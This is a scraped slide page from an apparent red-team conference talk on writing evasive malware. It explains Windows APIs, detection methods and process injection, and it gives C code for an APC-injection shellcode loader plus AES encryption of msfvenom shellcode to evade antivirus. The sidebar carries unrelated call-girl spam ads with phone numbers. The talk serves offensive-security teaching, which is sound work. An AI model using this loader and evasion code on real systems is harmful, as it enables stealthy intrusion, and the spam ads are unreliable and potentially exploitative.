Cloud Summit Canada com Rodrigo MontoroCloud Summit Canada com Rodrigo Montoro
Cloud Summit Canada com Rodrigo Montoro
 
Ofansif ve Defansif Powershell
Ofansif ve Defansif PowershellOfansif ve Defansif Powershell
Ofansif ve Defansif Powershell
 
Super Easy Memory Forensics
Super Easy Memory ForensicsSuper Easy Memory Forensics
Super Easy Memory Forensics
 
IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証
IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証
IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証
 
ATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudATT&CKING Containers in The Cloud
ATT&CKING Containers in The Cloud
 
Identity management and single sign on - how much flexibility
Identity management and single sign on - how much flexibilityIdentity management and single sign on - how much flexibility
Identity management and single sign on - how much flexibility
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 

Similaire à Developing High-Impact Malware with Minimal Effort.pptx

Double agent zero-day code injection and persistence technique
Double agent  zero-day code injection and persistence techniqueDouble agent  zero-day code injection and persistence technique
Double agent zero-day code injection and persistence techniqueKarlFrank99
 
Securing an NGINX deployment for K8s
Securing an NGINX deployment for K8sSecuring an NGINX deployment for K8s
Securing an NGINX deployment for K8sDevOps Indonesia
 
[Wroclaw #9] The purge - dealing with secrets in Opera Software
[Wroclaw #9] The purge - dealing with secrets in Opera Software[Wroclaw #9] The purge - dealing with secrets in Opera Software
[Wroclaw #9] The purge - dealing with secrets in Opera SoftwareOWASP
 
The Future of Security and Productivity in Our Newly Remote World
The Future of Security and Productivity in Our Newly Remote WorldThe Future of Security and Productivity in Our Newly Remote World
The Future of Security and Productivity in Our Newly Remote WorldDevOps.com
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemRoss Wolf
 
DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...
DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...
DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...DevOpsDays Tel Aviv
 
Zoo keeper in the wild
Zoo keeper in the wildZoo keeper in the wild
Zoo keeper in the wilddatamantra
 
Mitigating Java Deserialization attacks from within the JVM (improved version)
Mitigating Java Deserialization attacks from within the JVM (improved version)Mitigating Java Deserialization attacks from within the JVM (improved version)
Mitigating Java Deserialization attacks from within the JVM (improved version)Apostolos Giannakidis
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazyMichael Boman
 
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON
 
Vulnerabilities of machine learning infrastructure
Vulnerabilities of machine learning infrastructureVulnerabilities of machine learning infrastructure
Vulnerabilities of machine learning infrastructureSergey Gordeychik
 
Sandboxie process isolation with kernel hooks
Sandboxie process isolation with kernel hooksSandboxie process isolation with kernel hooks
Sandboxie process isolation with kernel hooksKarlFrank99
 
Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...
Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...
Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...Nagios
 
BSides Iowa 2018: Windows COM: Red vs Blue
BSides Iowa 2018: Windows COM: Red vs BlueBSides Iowa 2018: Windows COM: Red vs Blue
BSides Iowa 2018: Windows COM: Red vs BlueAndrew Freeborn
 
Securing your Cloud Environment v2
Securing your Cloud Environment v2Securing your Cloud Environment v2
Securing your Cloud Environment v2ShapeBlue
 
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...CODE BLUE
 
CheckPoint: Anatomy of an evolving bot
CheckPoint: Anatomy of an evolving botCheckPoint: Anatomy of an evolving bot
CheckPoint: Anatomy of an evolving botGroup of company MUK
 
BlueHat v17 || “_____ Is Not a Security Boundary." Things I Have Learned and...
BlueHat v17 ||  “_____ Is Not a Security Boundary." Things I Have Learned and...BlueHat v17 ||  “_____ Is Not a Security Boundary." Things I Have Learned and...
BlueHat v17 || “_____ Is Not a Security Boundary." Things I Have Learned and...BlueHat Security Conference
 
Ops for NoOps - Operational Challenges for Serverless Apps
Ops for NoOps - Operational Challenges for Serverless AppsOps for NoOps - Operational Challenges for Serverless Apps
Ops for NoOps - Operational Challenges for Serverless AppsErica Windisch
 

Similaire à Developing High-Impact Malware with Minimal Effort.pptx (20)

Double agent zero-day code injection and persistence technique
Double agent  zero-day code injection and persistence techniqueDouble agent  zero-day code injection and persistence technique
Double agent zero-day code injection and persistence technique
 
Securing an NGINX deployment for K8s
Securing an NGINX deployment for K8sSecuring an NGINX deployment for K8s
Securing an NGINX deployment for K8s
 
[Wroclaw #9] The purge - dealing with secrets in Opera Software
[Wroclaw #9] The purge - dealing with secrets in Opera Software[Wroclaw #9] The purge - dealing with secrets in Opera Software
[Wroclaw #9] The purge - dealing with secrets in Opera Software
 
The Future of Security and Productivity in Our Newly Remote World
The Future of Security and Productivity in Our Newly Remote WorldThe Future of Security and Productivity in Our Newly Remote World
The Future of Security and Productivity in Our Newly Remote World
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
 
DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...
DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...
DevOps Security - Is It Really So Difficult? - Reuven Harrison - DevOpsDays T...
 
Zoo keeper in the wild
Zoo keeper in the wildZoo keeper in the wild
Zoo keeper in the wild
 
Mitigating Java Deserialization attacks from within the JVM (improved version)
Mitigating Java Deserialization attacks from within the JVM (improved version)Mitigating Java Deserialization attacks from within the JVM (improved version)
Mitigating Java Deserialization attacks from within the JVM (improved version)
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazy
 
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy
 
Security Testing
Security TestingSecurity Testing
Security Testing
 
Vulnerabilities of machine learning infrastructure
Vulnerabilities of machine learning infrastructureVulnerabilities of machine learning infrastructure
Vulnerabilities of machine learning infrastructure
 
Sandboxie process isolation with kernel hooks
Sandboxie process isolation with kernel hooksSandboxie process isolation with kernel hooks
Sandboxie process isolation with kernel hooks
 
Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...
Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...
Nagios Conference 2012 - Eric Loyd - Nagios Implementation Case Eastman Kodak...
 
BSides Iowa 2018: Windows COM: Red vs Blue
BSides Iowa 2018: Windows COM: Red vs BlueBSides Iowa 2018: Windows COM: Red vs Blue
BSides Iowa 2018: Windows COM: Red vs Blue
 
Securing your Cloud Environment v2
Securing your Cloud Environment v2Securing your Cloud Environment v2
Securing your Cloud Environment v2
 
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
 
CheckPoint: Anatomy of an evolving bot
CheckPoint: Anatomy of an evolving botCheckPoint: Anatomy of an evolving bot
CheckPoint: Anatomy of an evolving bot
 
BlueHat v17 || “_____ Is Not a Security Boundary." Things I Have Learned and...
BlueHat v17 ||  “_____ Is Not a Security Boundary." Things I Have Learned and...BlueHat v17 ||  “_____ Is Not a Security Boundary." Things I Have Learned and...
BlueHat v17 || “_____ Is Not a Security Boundary." Things I Have Learned and...
 
Ops for NoOps - Operational Challenges for Serverless Apps
Ops for NoOps - Operational Challenges for Serverless AppsOps for NoOps - Operational Challenges for Serverless Apps
Ops for NoOps - Operational Challenges for Serverless Apps
 

Dernier

Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )
WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )
WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )Pooja Nehwal
 
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...Pooja Nehwal
 
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...Salam Al-Karadaghi
 
Microsoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AIMicrosoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AITatiana Gurgel
 
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 
LANDMARKS AND MONUMENTS IN NIGERIA.pptx
LANDMARKS  AND MONUMENTS IN NIGERIA.pptxLANDMARKS  AND MONUMENTS IN NIGERIA.pptx
LANDMARKS AND MONUMENTS IN NIGERIA.pptxBasil Achie
 
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...NETWAYS
 
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...NETWAYS
 
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...Krijn Poppe
 
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024eCommerce Institute
 
call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@vikas rana
 
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxGenesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxFamilyWorshipCenterD
 
Night 7k Call Girls Noida Sector 128 Call Me: 8448380779
Night 7k Call Girls Noida Sector 128 Call Me: 8448380779Night 7k Call Girls Noida Sector 128 Call Me: 8448380779
Night 7k Call Girls Noida Sector 128 Call Me: 8448380779Delhi Call girls
 
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Kayode Fayemi
 
OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...
OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...
OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...NETWAYS
 
SaaStr Workshop Wednesday w: Jason Lemkin, SaaStr
SaaStr Workshop Wednesday w: Jason Lemkin, SaaStrSaaStr Workshop Wednesday w: Jason Lemkin, SaaStr
SaaStr Workshop Wednesday w: Jason Lemkin, SaaStrsaastr
 
Motivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdfMotivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdfakankshagupta7348026
 
Open Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdf
Open Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdfOpen Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdf
Open Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdfhenrik385807
 
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdfCTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdfhenrik385807
 

Dernier (20)

Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
 
WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )
WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )
WhatsApp 📞 9892124323 ✅Call Girls In Juhu ( Mumbai )
 
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
 
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
 
Microsoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AIMicrosoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AI
 
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkata
 
LANDMARKS AND MONUMENTS IN NIGERIA.pptx
LANDMARKS  AND MONUMENTS IN NIGERIA.pptxLANDMARKS  AND MONUMENTS IN NIGERIA.pptx
LANDMARKS AND MONUMENTS IN NIGERIA.pptx
 
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
 
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
 
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
 
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
 
call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@
 
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxGenesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
 
Night 7k Call Girls Noida Sector 128 Call Me: 8448380779
Night 7k Call Girls Noida Sector 128 Call Me: 8448380779Night 7k Call Girls Noida Sector 128 Call Me: 8448380779
Night 7k Call Girls Noida Sector 128 Call Me: 8448380779
 
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
 
OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...
OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...
OSCamp Kubernetes 2024 | A Tester's Guide to CI_CD as an Automated Quality Co...
 
SaaStr Workshop Wednesday w: Jason Lemkin, SaaStr
SaaStr Workshop Wednesday w: Jason Lemkin, SaaStrSaaStr Workshop Wednesday w: Jason Lemkin, SaaStr
SaaStr Workshop Wednesday w: Jason Lemkin, SaaStr
 
Motivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdfMotivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdf
 
Open Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdf
Open Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdfOpen Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdf
Open Source Strategy in Logistics 2015_Henrik Hankedvz-d-nl-log-conference.pdf
 
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdfCTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
 

Developing High-Impact Malware with Minimal Effort.pptx

  • 1. Developing High-Impact Malware with Minimal Effort Elvin Gentiles Security Consultant November 14, 2022
  • 3. 3 ▸ ~7 years in IT Security consultancy ▸ Offensive security guy ▸ Into Malware Dev & Windows Internals ▸ CRTE, CRTO, CRTP, OSCE, OSCP, OSWP captmeelo.com @CaptMeelo capt-meelo /in/elvingentiles # whoami ©2022 IOActive, Inc. All rights reserved.
  • 4. 4 ▸ Why maldev ▸ Primer on Windows APIs ▸ Common types of detection ▸ Considerations ▸ Getting the work done ▸ Tool demo ▸ What’s next Agenda ©2022 IOActive, Inc. All rights reserved.
  • 6. 6 ▸ It is cool and a great skill to learn ▸ Red teams must keep up as blue teams continue to evolve “To know your Enemy, you must become your Enemy” Sun Tzu Why Malware Development? ©2022 IOActive, Inc. All rights reserved.
  • 7. 7 ▸ Malware Development is intimidating ▸ Which language to use? ▸ What techniques to employ? ▸ What APIs to utilize? ▸ How to evade AVs/EDRs? ▸ Will my code work? ▸ How do I even start? Why This Talk? ©2022 IOActive, Inc. All rights reserved.
  • 9. 9 ▸ WinAPI acts as a bridge that allows application to interact with the operating system ▸ Officially documented on MSDN ▸ Easy to understand and work with ▸ Exported by different DLLs such as user32.dll, kernel32.dll, etc. Windows API ©2022 IOActive, Inc. All rights reserved.
  • 10. 10 ▸ The functions that perform the actual operation ▸ Every function in WinAPI will eventually call the corresponding function in the Native API ▸ Undocumented ▸ Challenging to work with (but very useful) ▸ Unofficial documentations ▸ http://undocumented.ntinternals.net/ ▸ https://doxygen.reactos.org/index.html ▸ Exported by ntdll.dll or win32u.dll ▸ Distinguishable by the Nt or Zw prefix ▸ Commonly referred as “syscalls” Native API ©2022 IOActive, Inc. All rights reserved.
  • 11. 11 From WinAPI to Native API ©2022 IOActive, Inc. All rights reserved.
  • 12. 12 Windows API Native API Purpose OpenProcess NtOpenProcess Opens a handle to a process VirtualAlloc(Ex) NtAllocateVirtualMemory Allocates memory VirtualProtect(Ex) NtProtectVirtualMemory Changes a memory permission WriteProcessMemory NtWriteVirtualMemory Writes data into memory CreateRemoteThread(Ex) NtCreateThread(Ex) Creates a thread CloseHandle NtClose Closes a handle Windows & Native API Example ©2022 IOActive, Inc. All rights reserved.
  • 14. 14 Static-based Detection ©2022 IOActive, Inc. All rights reserved. ▸ Compares the signature to a DB of known malwares (e.g., YARA rules) ▸ strings ▸ variable names ▸ process names ▸ hashes ▸ imports & exports ▸ etc. ▸ Drawback: it only works for known malwares
  • 15. 15 Dynamic-based Detection ©2022 IOActive, Inc. All rights reserved. ▸ Monitors the execution of code in a sandbox ▸ API calls ▸ network traffic ▸ process’ memory ▸ file/folder/registry changes ▸ etc. ▸ Drawback: sandboxes are limited and can be bypassed (e.g., delaying execution, environmental keying, etc.)
  • 16. 16 Heuristic-based Detection ©2022 IOActive, Inc. All rights reserved. ▸ Looks at how a process behaves then makes decisions based on evidences and pre-defined/baseline behavioral rules ▸ Open a handle to a process → allocate memory → write code into memory → create thread ▸ Drawback: can be evaded by changing the process’ flow/pattern (e.g., A-B-C-D → A-C-D-B)
  • 18. 18 ▸ Depends on: ▸ Low- or high-level ▸ Dev’s knowledge and experience ▸ Docs and libraries availability ▸ Popularity and community support ▸ Cross-compilation Programming Language ©2022 IOActive, Inc. All rights reserved.
  • 19. 19 ▸ Different file types for different scenarios File Types ©2022 IOActive, Inc. All rights reserved. Executables (.exe) Dynamic Link Libraries (.dll) HTML (.hta, .htm, …) MS Docs (.doc, .xlsm, .ppam, …) Shortcuts (.lnk) Disk Image (.iso, .img, …) Installer (.msi, ...) Icons from Freepik
  • 20. 20 ▸ How your malware should behave ▸ Shellcode loader ▸ Process injection ▸ DLL injection ▸ DLL sideloading ▸ Persistence Execution Method ©2022 IOActive, Inc. All rights reserved.
  • 21. 21 ▸ Executing code in the address space of another process ▸ Could evade detection since execution is masked under a different process ▸ May allow an attacker to access the target process’ memory, privileges, etc. ▸ If the target process is not running, an attacker can spawn it Process Injection ©2022 IOActive, Inc. All rights reserved.
  • 22. 22 Process Injection ©2022 IOActive, Inc. All rights reserved. GIF from elastic
  • 23. 23 Process Injection Techniques ©2022 IOActive, Inc. All rights reserved. ATT&CK ID Name T1055.001 Dynamic-link Library Injection T1055.002 Portable Executable Injection T1055.003 Thread Execution Hijacking T1055.004 Asynchronous Procedure Call T1055.005 Thread Local Storage T1055.008 Ptrace System Calls T1055.009 Proc Memory T1055.011 Extra Window Memory Injection T1055.012 Process Hollowing T1055.013 Process Doppelgänging T1055.014 VDSO Hijacking T1055.015 ListPlanting From MITRE
  • 24. 24 ▸ Red Team Experiment: Code & Process Injection by Mantvydas Baranauskas (@spotheplanet) PoCs ©2022 IOActive, Inc. All rights reserved.
  • 25. 25 ▸ GitHub: odzhan/injection by @modexpblog PoCs ©2022 IOActive, Inc. All rights reserved.
  • 26. 26 ▸ GitHub: theevilbit/injection by Csaba Fitzl (@theevilbit) PoCs ©2022 IOActive, Inc. All rights reserved.
  • 27. 27 ▸ GitHub: SafeBreach-Labs/pinjectra by Itzik Kotler (@itzikkotler) & Amit Klein PoCs ©2022 IOActive, Inc. All rights reserved.
  • 29. 29 ▸ By scouring the Internet and the open-source community ▸ Utilizing “header-only” libraries How Do We Do It? ©2022 IOActive, Inc. All rights reserved.
  • 31. 31 Skeleton Code ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00"; SIZE_T shellcodeSize = sizeof(shellcode); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
  • 32. 32 Skeleton Code in Action ©2022 IOActive, Inc. All rights reserved.
  • 33. 33 Skeleton Code in Action ©2022 IOActive, Inc. All rights reserved.
  • 35. 35 ▸ Adds additional layer of protection by getting rid of “known indicators” ▸ Applies to shellcode, strings, function calls, etc. ▸ Can be done using different implementations/algorithms (AES, XOR, RC4, UUID, CLSID, SVG, CSS, CSV, IPv4/v6, MAC, etc.) ▸ A must! ▸ Beware as too much obfuscation yields higher entropy, which could be an indicator Encryption/Obfuscation ©2022 IOActive, Inc. All rights reserved.
  • 37. 37 ▸ Shellcodes such as those generated by msfvenom are heavily signatured ▸ Custom shellcode and/or encryption algorithm is preferred as it makes detection harder Shellcode Encryption ©2022 IOActive, Inc. All rights reserved.
  • 38. 38 ▸ weidai11/cryptopp ▸ kokke/tiny-AES-c ▸ SergeyBel/AES ▸ kkAyataka/plusaes ▸ kerukuro/digestpp ▸ Soreing/des-cpp-encrypt ▸ amrayn/mine (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
  • 39. 39 Tiny-AES-c in Action Generating Encrypted Shellcode (AES-CBC-256) ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include <stdio.h> #include "libs/aes.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char payload[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00x90"; SIZE_T payloadSize = sizeof(payload); unsigned char key[] = "Malware.Development.Is.SoAwesome"; unsigned char iv[] = " xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4"; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize); printf("Encrypted buffer:n"); for (int i = 0; i < shellcodeSize - 1; i++) { printf("x%02x", shellcode[i]); } printf("n"); } NOP (x90) was appended to make the shellcode a multiple of 16 bytes. Ensure the correct block size!
  • 40. 40 Tiny-AES-c in Action Generated Shellcode (AES-CBC-256) ©2022 IOActive, Inc. All rights reserved.
  • 41. 41 Tiny-AES-c in Action Decrypting Shellcode (AES-CBC-256) ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = "Malware.Development.Is.SoAwesome"; unsigned char iv[] = "xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4"; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } AES_CBC_decrypt_buffer() is now used.
  • 42. 42 Tiny-AES-c in Action Running the Updated Code ©2022 IOActive, Inc. All rights reserved.
